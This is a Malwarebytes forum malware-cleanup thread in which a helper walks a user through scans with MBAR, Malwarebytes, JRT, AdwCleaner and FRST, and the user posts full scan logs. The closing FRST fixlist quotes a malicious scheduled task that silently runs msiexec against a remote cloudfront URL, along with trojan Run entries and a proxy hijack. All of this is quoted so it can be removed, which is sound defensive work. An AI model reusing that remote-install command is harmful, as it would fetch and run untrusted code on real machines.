Jump to content

The requested resource is in use

Pharmtech78
 Share

Recommended Posts

Aura

Aura

Posted
Posted

Hi Pharmtech78 :)

My name is Aura and I'll be assisting you with your malware issue. Since we'll be working together, you can call me Aura or Yoan, which is my real name, it's up to you! Now that we've broke the ice, I'll just ask you a few things during the time we'll be working together to clean your system and get it back to an operational state.

  • As you'll notice, the logs we are asking for here are quite lenghty, so it's normal for me to not reply exactly after you post them. This is because I need some time to analyse them and then act accordingly. However, I'll always reply within 24 hours, 48 hours at most if something unexpected happens;
  • As long as I'm assisting you on Malwarebytes Forums, in this thread, I'll ask you to not seek assistance anywhere else for any issue related to the system we are working on. If you have an issue, question, etc. about your computer, please ask it in this thread and I'll assist you;
  • The same principle applies to any modifications you make to your system, I would like you to ask me before you do any manipulations that aren't in the instructions I posted. This is to ensure that we are operating in sync and I know exactly what's happening on your system;
  • If you aren't sure about an instruction I'm giving you, ask me about it. This is to ensure that the clean-up process goes without any issue. I'll answer you and even give you more precise instructions/explanations if you need. There's no shame in asking questions here, better be safe than sorry!;
  • If you don't reply to your thread within 3 days, I'll bump this thread to let you know that I'm waiting for you. If you don't reply after 5 days, it'll be closed. If you return after that period, you can send me a PM to get it unlocked and we'll continue where we left off;
  • Since malware can work quickly, we want to get rid of them as fast as we can, before they make unknown changes to the system. This being said, I would appreciate if you could reply to this thread within 24 hours of me posting. This way, we'll have a good clean-up rhythm and the chances of complications will be reduced;
  • I'm against any form of pirated, illegal and counterfeit software and material. So if you have any installed on your system, I'll ask you to uninstall them right now. You don't have to tell me if you indeed had some or not, I'll give you the benefit of the doubt. Plus, this would be against Malwarebytes Forums's rules;
  • In the end, you are the one asking for assistance here. So if you wish to go a different way during the clean-up, like format and reinstall Windows, you are free to do so. I would appreciate you to let me know about it first, and if you need, I can also assist you in the process;
  • I would appreciate if you were to stay with me until the end, which means, until I declare your system clean. Just because your system isn't behaving weirdly anymore, or is running better than before, it doesn't mean that the infection is completely gone;
    This being said, I have a full time job so sometimes it'll take longer for me to reply to you. Don't worry, you'll be my first priority as soon as I get home and have time to look at your thread;

This being said, it's time to clean-up some malware, so let's get started, shall we? :)

Follow the instructions in the thread below. Make sure to download the MBAR linked in it. Let me know if you're not able to launch it and run a scan.

https://forums.malwarebytes.com/topic/198907-requested-resource-is-in-use-error-unable-to-start-malwarebytes/

If you manage to run a scan, delete everything it finds, and then copy/paste the content of the "mbar-log-TODAY'S-DATE.txt" log that is located in the MBAR folder here after. 

Link to post
Share on other sites
Aura

Aura

Posted
Posted

Awesome :) Now you should be able to install and run a scan with Malwarebytes.

j1Bynr2.pngMalwarebytes - Clean Mode

  • Download and install the free version of Malwarebytes
    Note: If you have Malwarebytes already installed, you don't need to install it again. Simply start from the next bullet point;
  • Once Malwarebytes is installed, launch it and let it update his database. You might have to click on the little arrow by Scan Status in the middle right pane for it to do so;
  • Once the database update is complete, click on the Scan tab, then select the Threat Scan button and click on Start Scan;
  • Let the scan run, the time required to complete the scan depends of your system and computer specs;
  • Once the scan is complete, make sure that the first checkbox at the top is checked (which will automatically check every detected item), then click on the Quarantine Selected button;
    • If it asks you to restart your computer to complete the removal, do so;
  • Click on Export Summary after the deletion (in the bottom-left corner) and select Copy to Clipboard. Paste the content in your next reply;

Link to post
Share on other sites
Pharmtech78

Pharmtech78

Posted
  • Author
Posted

Here you go...there's 2 reports. 

 

Malwarebytes
www.malwarebytes.com

-Log Details-
Scan Date: 5/25/17
Scan Time: 11:54 AM
Log File: 
Administrator: Yes

-Software Information-
Version: 3.1.2.1733
Components Version: 1.0.122
Update Package Version: 1.0.2020
License: Free

-System Information-
OS: Windows 7 Service Pack 1
CPU: x64
File System: NTFS
User: PHARMTECH-PC\Super

-Scan Summary-
Scan Type: Threat Scan
Result: Completed
Objects Scanned: 490940
Threats Detected: 28
Threats Quarantined: 28
Time Elapsed: 4 min, 10 sec

-Scan Options-
Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled

-Scan Details-
Process: 0
(No malicious items detected)

Module: 0
(No malicious items detected)

Registry Key: 4
PUP.Optional.Downloader, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\PPI Update, Quarantined, [701], [371529],1.0.2020
PUP.Optional.YeaDesktop, HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\SOFTWARE\YeaDesktop, Quarantined, [1535], [391400],1.0.2020
PUP.Optional.Amonetize, HKLM\SOFTWARE\WOW6432NODE\MBS_INSTALL, Quarantined, [6], [392968],1.0.2020
PUP.Optional.Downloader, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{F28B535F-7466-4A4E-A6F5-D4AED1BA4AED}, Quarantined, [701], [371530],1.0.2020

Registry Value: 2
PUP.Optional.Amonetize, HKLM\SOFTWARE\WOW6432NODE\MBS_INSTALL|CHANNEL, Quarantined, [6], [392968],1.0.2020
PUP.Optional.Downloader, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{F28B535F-7466-4A4E-A6F5-D4AED1BA4AED}|PATH, Quarantined, [701], [371530],1.0.2020

Registry Data: 0
(No malicious items detected)

Data Stream: 0
(No malicious items detected)

Folder: 5
PUP.Optional.Elex.ClnShrt, C:\USERS\SUPER\APPDATA\LOCAL\kemgadeojglibflomicgnfeopkdfflnk, Quarantined, [1355], [328066],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626, Quarantined, [2834], [364568],1.0.2020
Trojan.Clicker.D, C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\llssoft\winvmx, Quarantined, [2834], [364568],1.0.2020
PUP.Optional.InterStat, C:\Users\Super\AppData\Local\CrashRpt\UnsentCrashReports\Interstatnogui_389\Logs, Quarantined, [1408], [373566],1.0.2020
PUP.Optional.InterStat, C:\USERS\SUPER\APPDATA\LOCAL\CRASHRPT\UNSENTCRASHREPORTS\Interstatnogui_389, Quarantined, [1408], [373566],1.0.2020

File: 17
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\close_white.png, Quarantined, [1355], [328066],1.0.2020
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\content_script.js, Quarantined, [1355], [328066],1.0.2020
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\icon.png, Quarantined, [1355], [328066],1.0.2020
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\jquery-1.8.3.min.js, Quarantined, [1355], [328066],1.0.2020
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\jquery.js, Quarantined, [1355], [328066],1.0.2020
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\manifest.json, Quarantined, [1355], [328066],1.0.2020
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\popup.html, Quarantined, [1355], [328066],1.0.2020
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\popup.js, Quarantined, [1355], [328066],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\Cookies, Quarantined, [2834], [364568],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\Cookies-journal, Quarantined, [2834], [364568],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\data_0, Quarantined, [2834], [364568],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\data_1, Quarantined, [2834], [364568],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\data_2, Quarantined, [2834], [364568],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\data_3, Quarantined, [2834], [364568],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\index, Quarantined, [2834], [364568],1.0.2020
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\Visited Links, Quarantined, [2834], [364568],1.0.2020
PUP.Optional.Downloader, C:\WINDOWS\SYSTEM32\TASKS\PPI Update, Quarantined, [701], [371533],1.0.2020

Physical Sector: 0
(No malicious items detected)


(end)

 

 

Malwarebytes
www.malwarebytes.com

-Log Details-
Scan Date: 5/25/17
Scan Time: 10:41 AM
Log File: 
Administrator: Yes

-Software Information-
Version: 3.0.6.1469
Components Version: 1.0.103
Update Package Version: 1.0.2019
License: Expired

-System Information-
OS: Windows 7 Service Pack 1
CPU: x64
File System: NTFS
User: PHARMTECH-PC\Super

-Scan Summary-
Scan Type: Threat Scan
Result: Cancelled
Objects Scanned: 87719
Threats Detected: 21
Threats Quarantined: 0
(No malicious items detected)
Time Elapsed: 1 min, 9 sec

-Scan Options-
Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled

-Scan Details-
Process: 0
(No malicious items detected)

Module: 0
(No malicious items detected)

Registry Key: 0
(No malicious items detected)

Registry Value: 0
(No malicious items detected)

Registry Data: 0
(No malicious items detected)

Data Stream: 0
(No malicious items detected)

Folder: 5
PUP.Optional.Elex.ClnShrt, C:\USERS\SUPER\APPDATA\LOCAL\kemgadeojglibflomicgnfeopkdfflnk, No Action By User, [1355], [328066],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626, No Action By User, [2834], [364568],1.0.2019
Trojan.Clicker.D, C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\llssoft\winvmx, No Action By User, [2834], [364568],1.0.2019
PUP.Optional.InterStat, C:\Users\Super\AppData\Local\CrashRpt\UnsentCrashReports\Interstatnogui_389\Logs, No Action By User, [1408], [373566],1.0.2019
PUP.Optional.InterStat, C:\USERS\SUPER\APPDATA\LOCAL\CRASHRPT\UNSENTCRASHREPORTS\Interstatnogui_389, No Action By User, [1408], [373566],1.0.2019

File: 16
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\close_white.png, No Action By User, [1355], [328066],1.0.2019
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\content_script.js, No Action By User, [1355], [328066],1.0.2019
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\icon.png, No Action By User, [1355], [328066],1.0.2019
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\jquery-1.8.3.min.js, No Action By User, [1355], [328066],1.0.2019
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\jquery.js, No Action By User, [1355], [328066],1.0.2019
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\manifest.json, No Action By User, [1355], [328066],1.0.2019
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\popup.html, No Action By User, [1355], [328066],1.0.2019
PUP.Optional.Elex.ClnShrt, C:\Users\Super\AppData\Local\kemgadeojglibflomicgnfeopkdfflnk\popup.js, No Action By User, [1355], [328066],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\Cookies, No Action By User, [2834], [364568],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\Cookies-journal, No Action By User, [2834], [364568],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\data_0, No Action By User, [2834], [364568],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\data_1, No Action By User, [2834], [364568],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\data_2, No Action By User, [2834], [364568],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\data_3, No Action By User, [2834], [364568],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\index, No Action By User, [2834], [364568],1.0.2019
Trojan.Clicker.D, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft\winvmx\data626\Visited Links, No Action By User, [2834], [364568],1.0.2019

Physical Sector: 0
(No malicious items detected)


(end)

 

 

Link to post
Share on other sites
Aura

Aura

Posted
Posted

Good, thank you. Now we'll do a sweep with JRT and AdwCleaner.

iT103hr.pngJunkware Removal Tool (JRT)

  • Download Junkware Removal Tool (JRT) and move it to your Desktop;
  • Right-click on JRT.exe and select Spcusrh.pngRun as Administrator (for Windows Vista, 7, 8, 8.1 and 10 users);
  • Press on any key to launch the scan and let it complete;
    tLsXbWy.png
    Credits : BleepingComputer.com
  • Once the scan is complete, a log will open. Please copy/paste the content of the output log in your next reply;

zcMPezJ.pngAdwCleaner - Fix Mode

  • Download AdwCleaner and move it to your Desktop;
  • Right-click on AdwCleaner.exe and select Spcusrh.pngRun as Administrator (for Windows Vista, 7, 8, 8.1 and 10 users);
  • Accept the EULA (I accept), let the database update, then click on Scan;
  • Let the scan complete. Once it's done, make sure that every item listed in the different tabs is checked and click on the Cleaning button. This will kill all the active processes;
    MV5ejgW.png
  • Once the cleaning process is complete, AdwCleaner will ask to restart your computer, do it;
  • After the restart, a log will open when logging in. Please copy/paste the content of that log in your next reply;

Your next reply(ies) should therefore contain:

  • Copy/pasted JRT log;
  • Copy/pasted AdwCleaner clean log;

Link to post
Share on other sites
Pharmtech78

Pharmtech78

Posted
  • Author
Posted

Hi Aura, here's the 2 logs you requested....

Junkware removal...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Junkware Removal Tool (JRT) by Malwarebytes
Version: 8.1.3 (04.10.2017)
Operating System: Windows 7 Ultimate x64 
Ran by Super (Administrator) on Fri 05/26/2017 at 14:02:23.52
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


File System: 0 


Registry: 1 

Successfully deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\\GoogleChromeAutoLaunch_EB576191AC210B1C817FE38D3CA923FC (Registry Value) 


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Scan was completed on Fri 05/26/2017 at 14:04:11.76
End of JRT log
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

 

Adwcleaner...

# AdwCleaner v6.047 - Logfile created 26/05/2017 at 14:20:59
# Updated on 19/05/2017 by Malwarebytes
# Database : 2017-05-26.6 [Server]
# Operating System : Windows 7 Ultimate Service Pack 1 (X64)
# Username : Super - PHARMTECH-PC
# Running from : C:\Users\Super\Desktop\AdwCleaner.exe
# Mode: Clean
# Support : https://www.malwarebytes.com/support

***** [ Services ] *****

***** [ Folders ] *****

[-] Folder deleted: C:\Users\Super\AppData\Local\AdvinstAnalytics
[-] Folder deleted: C:\Windows\SysWOW64\C2MP
[-] Folder deleted: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\llssoft
[-] Folder deleted: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\AVG SafeGuard toolbar
[-] Folder deleted: C:\uninst


***** [ Files ] *****

***** [ DLL ] *****

***** [ WMI ] *****

***** [ Shortcuts ] *****

***** [ Scheduled Tasks ] *****

***** [ Registry ] *****

[-] Key deleted: HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd
[-] Key deleted: HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd.1
[#] Key deleted on reboot: [x64] HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd
[#] Key deleted on reboot: [x64] HKLM\SOFTWARE\Classes\ScriptHelper.GenericWnd.1
[-] Key deleted: HKLM\SOFTWARE\Classes\CLSID\{FD20C151-A061-4097-955D-682F317A7035}
[-] Key deleted: HKLM\SOFTWARE\Classes\Interface\{E7BC34A1-BA86-11CF-84B1-CBC2DA68BF6C}
[-] Key deleted: HKLM\SOFTWARE\Classes\TypeLib\{81CA8FCD-1420-4A07-B47D-B30F3DDA79E1}
[-] Key deleted: HKLM\SOFTWARE\Classes\TypeLib\{E7BC34A0-BA86-11CF-84B1-CBC2DA68BF6C}
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\Stats\{2974C985-8151-4DE5-B23C-B875F0A8522F}
[-] Value deleted: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID [{79F768ED-0B12-42EF-8257-36751A0ECF3A}]
[-] Key deleted: HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\DAILYPCCLEAN
[-] Key deleted: HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Installer
[-] Key deleted: HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Tinstalls
[-] Key deleted: HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\ProgSense
[-] Key deleted: HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\PopWnd
[#] Key deleted on reboot: HKCU\Software\DAILYPCCLEAN
[#] Key deleted on reboot: HKCU\Software\Installer
[#] Key deleted on reboot: HKCU\Software\Microsoft\Tinstalls
[#] Key deleted on reboot: HKCU\Software\ProgSense
[#] Key deleted on reboot: HKCU\Software\PopWnd
[-] Key deleted: HKLM\SOFTWARE\xs
[-] Key deleted: HKLM\SOFTWARE\DataHelper
[-] Key deleted: HKLM\SOFTWARE\betterads
[#] Key deleted on reboot: [x64] HKCU\Software\DAILYPCCLEAN
[#] Key deleted on reboot: [x64] HKCU\Software\Installer
[#] Key deleted on reboot: [x64] HKCU\Software\Microsoft\Tinstalls
[#] Key deleted on reboot: [x64] HKCU\Software\ProgSense
[#] Key deleted on reboot: [x64] HKCU\Software\PopWnd
[-] Key deleted: [x64] HKLM\SOFTWARE\HDWallpaper
[-] Key deleted: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Searchy
[-] Key deleted: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{24F5E422-6A70-4FAA-8CAD-E23D5DC1DAE6}
[-] Key deleted: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{DD0688A5-FC8B-4E93-A485-CBF606A56D49}
[-] Value deleted: HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\Software\Microsoft\Internet Explorer\SearchScopes [DoNotAskAgain]
[#] Value deleted on reboot: HKCU\Software\Microsoft\Internet Explorer\SearchScopes [DoNotAskAgain]
[#] Value deleted on reboot: [x64] HKCU\Software\Microsoft\Internet Explorer\SearchScopes [DoNotAskAgain]
[-] Key deleted: HKLM\SOFTWARE\Google\Chrome\NativeMessagingHosts\avgsh
[-] Key deleted: HKCU\Software\Google\Chrome\Extensions\bmkckgpgekmanipelfidlhmkfcjicion
[#] Key deleted on reboot: [x64] HKCU\Software\Google\Chrome\Extensions\bmkckgpgekmanipelfidlhmkfcjicion


***** [ Web browsers ] *****

[-] [C:\Users\Super\AppData\Local\Google\Chrome\User Data\Default] [extension] Deleted: bmkckgpgekmanipelfidlhmkfcjicion


*************************

:: "Tracing" keys deleted
:: Winsock settings cleared

*************************

C:\AdwCleaner\AdwCleaner[C1].txt - [5239 Bytes] - [20/05/2017 14:58:06]
C:\AdwCleaner\AdwCleaner[C2].txt - [4251 Bytes] - [26/05/2017 14:20:59]
C:\AdwCleaner\AdwCleaner[R0].txt - [28715 Bytes] - [01/04/2014 10:49:27]
C:\AdwCleaner\AdwCleaner[R1].txt - [8635 Bytes] - [28/01/2015 16:18:57]
C:\AdwCleaner\AdwCleaner[S0].txt - [28436 Bytes] - [01/04/2014 10:50:18]
C:\AdwCleaner\AdwCleaner[S1].txt - [14756 Bytes] - [28/01/2015 16:22:00]
C:\AdwCleaner\AdwCleaner[S2].txt - [5194 Bytes] - [20/05/2017 14:56:26]
C:\AdwCleaner\AdwCleaner[S3].txt - [4827 Bytes] - [26/05/2017 14:19:37]

########## EOF - C:\AdwCleaner\AdwCleaner[C2].txt - [4765 Bytes] ##########
 

 

 

Link to post
Share on other sites
Aura

Aura

Posted
Posted

Looks like there's still a lot of things to remove.

warning.gifMalicious Programs Warning!

I noticed that you have malicious programs installed on your system. I'll ask you to uninstall them since uninstalling such programs before running malware removal tools will ensure a better clean-up.

  • “Œ•ûƒXƒJƒCƒtƒ@ƒCƒg - Should be the first program in the list (ordered by alphabetical order)


If you have an issue when uninstalling a program, please let me know.

After running the FRST fix below, a file called "DATE-TIME.zip" should be created on your desktop. Please upload it to the link below.

https://www.bleepingcomputer.com/submit-malware.php?channel=194

iO3R662.pngFarbar Recovery Scan Tool (FRST) - Fix mode
Follow the instructions below to execute a fix on your system using FRST, and provide the log in your next reply.

  • Download the attached fixlist.txt file, and save it on your Desktop (or wherever your FRST.exe/FRST64.exe executable is located);
  • Right-click on the FRST executable and select Spcusrh.pngRun as Administrator (for Windows Vista, 7, 8, 8.1 and 10 users);
  • Click on the Fix button;
    NYA5Cbr.png
  • On completion, a message will come up saying that the fix has been completed and it'll open a log in Notepad;
  • Copy and paste its content in your next reply;

fixlist.txt

Link to post
Share on other sites
Pharmtech78

Pharmtech78

Posted
  • Author
Posted

Here's the frst log and i also uploaded the DATE-TIME.zip. I was unable to uninstall this program "Œ•ûƒXƒJƒCƒtƒ@ƒCƒg". I get an error message "an unexpected error occurred". 

 

Fix result of Farbar Recovery Scan Tool (x64) Version: 28-05-2017
Ran by Super (28-05-2017 19:30:49) Run:3
Running from F:\
Loaded Profiles: Super (Available Profiles: Super & Chi & Mcx1-PHARMTECH-PC)
Boot Mode: Normal
==============================================

fixlist content:
*****************
CloseProcesses:
CreateRestorePoint:

Zip: C:\Program Files (x86)\xy2g4u3utb1;C:\Users\Super\AppData\Roaming\khxn4wtlr5j;C:\Users\Super\AppData\Roaming\l0kmqb34tyd;C:\Users\Super\AppData\Roaming\vwuv1adjfqv;C:\Users\Super\AppData\Roaming\ez0kajrkepl;C:\Users\Super\AppData\Local\Sum-Com.exe;C:\PROGRA~1\GROOVE~1\Qiwpajne.bat

HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\...\Run: [Nexus] => [X]
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\...\Run: [havpkpleync] => "C:\Users\Super\AppData\Roaming\khxn4wtlr5j\hpqrhp21yoh.exe"
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\...\Run: [qwpqdl2sbtd] => "C:\Users\Super\AppData\Roaming\l0kmqb34tyd\1a3xsm25nmp.exe"
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\...\Run: [5casz44vljy] => "C:\Users\Super\AppData\Roaming\vwuv1adjfqv\mecgtexnkam.exe"
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\...\Run: [QBGOEQXW9KR37OU] => "C:\Program Files (x86)\xy2g4u3utb1\KA0QM.exe"
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\...\Run: [gy1xl5lnqkx] => "C:\Users\Super\AppData\Roaming\ez0kajrkepl\j42dhmukud0.exe"
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\...\Run: [GoogleChromeAutoLaunch_EB576191AC210B1C817FE38D3CA923FC] => C:\Program Files (x86)\Google\Chrome\Application\chrome.exe [1143640 2017-05-09] (Google Inc.)
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\...\Winlogon: [Shell] C:\Windows\EXPLORER.EXE [3229696 2016-08-29] (Microsoft Corporation) <==== ATTENTION
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  -> No File
GroupPolicy\User: Restriction <======= ATTENTION

ProxyEnable: [.DEFAULT] => Proxy is enabled.
ProxyServer: [.DEFAULT] => 127.0.0.1:8003
ProxyServer: [S-1-5-21-2906115452-3391172368-2754838155-1001] => 127.0.0.1:8003

HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKU\S-1-5-21-2906115452-3391172368-2754838155-1001\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION

U3 ani9pwjs; C:\Windows\System32\Drivers\ani9pwjs.sys [0 ] (Marvell Semiconductor, Inc.) <==== ATTENTION (zero byte File/Folder)
S3 catchme; \??\C:\ComboFix\catchme.sys [X]

Task: {03CB7866-427A-41DF-9BA5-0AAB6B031775} - System32\Tasks\{6DF883DB-A034-49F3-ABC6-67A3C1FAB6FA} => pcalua.exe -a "C:\Program Files (x86)\Java\jre6\bin\javacpl.exe" -d C:\Windows\system32
Task: {058FFCC9-690E-4D14-8A13-62254C2C7162} - System32\Tasks\{5FE33818-F1A1-4936-9D15-5B4B1905096B} => pcalua.exe -a C:\Users\Super\Downloads\EmberSetup.exe -d "C:\Program Files (x86)\Mozilla Firefox"
Task: {12B96054-6180-429E-88A2-4F179D64C434} - System32\Tasks\{32E31B20-314F-45D9-AA01-44C693B6E51C} => pcalua.exe -a "G:\PC Games\Styx Master of Shadows\Setup.exe" -d "G:\PC Games\Styx Master of Shadows"
Task: {1CD57F07-6CAA-4347-B684-5F468A29239D} - System32\Tasks\{393A5B38-ABE6-474B-8DCE-E9BD5C9D6D8D} => pcalua.exe -a "C:\Zombie Army Trilogy-Black Box\Setup.exe" -d "C:\Zombie Army Trilogy-Black Box"
Task: {1EEFD0E0-A2B4-447B-B6F3-87B1024B60FC} - System32\Tasks\{BF9C0394-D868-49A3-85EF-469ADF7B4942} => pcalua.exe -a M:\Setup.exe -d M:\
Task: {2436EC34-29C0-4FC9-B450-7E864904E48D} - System32\Tasks\{F5B14DFA-B922-4AA3-8970-4508541B34C5} => pcalua.exe -a C:\Users\Super\Downloads\DAMN_NFO_Viewer_v2-10-0032-RC3.exe -d "C:\Program Files (x86)\Mozilla Firefox"
Task: {67C7E49C-7F3F-490D-9D78-D42CC962992F} - System32\Tasks\{D3FE0BFE-06BF-4C07-9B6A-DB0F560F4D64} => pcalua.exe -a "D:\Bluray Movies 12\Need for Speed The Run Limited Edition-NightMareZ.Org\nfs16setupreg.exe" -d "D:\Bluray Movies 12\Need for Speed The Run Limited Edition-NightMareZ.Org"
Task: {8A4198A3-9EB3-49E5-87EA-175CC9DCC8E4} - System32\Tasks\{22024ABC-93A8-4783-8BEE-178484D095BF} => pcalua.exe -a G:\Setup.EXE -d G:\
Task: {8FD274F8-3E34-4E35-9CB0-6954A906CFE1} - System32\Tasks\{F02EECD3-F98F-4D69-AB18-67374D593D15} => pcalua.exe -a "C:\Styx Master of Shadows\Setup.exe" -d "C:\Styx Master of Shadows"
Task: {9423E44A-6AAB-4B51-A306-9E43804C267A} - System32\Tasks\{1D00E70E-240B-4086-90F0-56C6DA37D575} => pcalua.exe -a C:\Users\Super\Downloads\irfanview_plugins_437_setup.exe -d C:\Users\Super\Downloads
Task: {AFED0DC7-F311-40D6-A627-29E0DE8E0182} - System32\Tasks\{69FA3F89-E29A-4657-8AC2-BF79008BFEC3} => Firefox.exe 
Task: {B18359BB-0E78-47DA-8E2F-439DC1160326} - System32\Tasks\Bunjh => C:\PROGRA~1\GROOVE~1\Qiwpajne.bat  <==== ATTENTION
Task: {B4887F89-0C21-4D75-B204-5F0A68110D61} - System32\Tasks\{0D185A31-B7C0-4CFA-A885-D794A5FF7C7D} => pcalua.exe -a "J:\PC\PC Games\Zombie Army Trilogy-Black Box\Setup.exe" -d "J:\PC\PC Games\Zombie Army Trilogy-Black Box"
Task: {BD68D155-FE18-4410-9CAD-2917D55C994F} - System32\Tasks\{10828AC2-15F8-4063-B13A-742351BFBE2B} => pcalua.exe -a C:\Users\Super\Downloads\install_reader10_en_air_mssd_aih.exe -d "C:\Program Files (x86)\Mozilla Firefox"
Task: {BD8CA97A-80F3-48AA-BC3C-C2DEFD1FCC4B} - System32\Tasks\{70946662-4046-4672-A307-FFF1754EC7EB} => Firefox.exe 
Task: {C7115DD3-D684-4CE8-A66F-013A88917ECF} - System32\Tasks\Microsoft\Windows\DeviceSettings\Zibopy => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=C300-CTFDDAC256MAG_00000000103602FD12C5&amp;d=20170520 /q <==== ATTENTION
